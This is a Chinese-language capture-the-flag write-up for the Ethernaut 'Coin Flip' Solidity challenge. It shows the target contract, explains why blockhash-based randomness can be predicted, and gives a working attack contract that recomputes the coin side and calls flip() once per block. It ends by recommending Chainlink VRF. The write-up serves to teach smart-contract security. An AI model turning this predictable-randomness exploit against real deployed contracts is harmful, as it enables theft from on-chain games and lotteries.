Skip to main content

Coin Flip

题目源码

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract CoinFlip {

using SafeMath for uint256;
uint256 public consecutiveWins;
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

constructor() public {
consecutiveWins = 0;
}

function flip(bool _guess) public returns (bool) {
uint256 blockValue = uint256(blockhash(block.number.sub(1)));

if (lastHash == blockValue) {
revert();
}

lastHash = blockValue;
uint256 coinFlip = blockValue.div(FACTOR);
bool side = coinFlip == 1 ? true : false;

if (side == _guess) {
consecutiveWins++;
return true;
} else {
consecutiveWins = 0;
return false;
}
}
}

题目要求

题目要求连续十次猜对硬币才能通过

题目分析

通过合约可以看到,只要有一次错误,计数器就会重置为 0.这个题目也是告诉我们链上很难实现真正的随机数。我们可以通过合约调用来计算和题目中一样的随机数值。 由于blockValue是通过获取当前blockNumber然后进行一堆计算后获得,并且每次成功调用以后该值就会被记录,并且不能使用上一次的值。所以无法通过在合约里实现for循环一次性调用 10 次。我们会每次调用一次,然后每个区块调用一次,然后调用 10 次即可.

所以攻击思路如下

  1. 部署并获取目标合约地址
  2. 实现一个与题目中一样的随机数计算合约,通过我们的合约来调用题目中的flip方法,即可猜中随机数值

攻击步骤

  1. 实现以下攻击合约
// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.6.0;
import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/release-v3.0.0/contracts/math/SafeMath.sol";

interface ICoinFlip {
function flip(bool _guess) external returns (bool);
}

contract CoinFlipAttack {
using SafeMath for uint256;
function attackFlip(address _coinFlip) external {
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
uint256 blockValue = uint256(blockhash(block.number.sub(1)));
uint256 coinFlip = blockValue.div(FACTOR);
bool side = coinFlip == 1 ? true : false;
bool success = ICoinFlip(_coinFlip).flip(side);
// 这里要求每次调用如果不成功则回滚,防止计数器重置为0
require(success,"attack failed");
}
}
  1. 获取到题目中CoinFlip合约地址
  2. 每个区块调用一次攻击合约的attackFlip方法,传入CoinFlip合约地址作为参数

注意: attackFlip方法需要在不同的区块调用,同一个区块连续调用会失败

题目知识点

想要在链上通过合约生产随机数,可以考虑使用Chainlink VRF。通过blockNumber或者blockHash计算出来的随机数都是伪随机数。很容易被攻击利用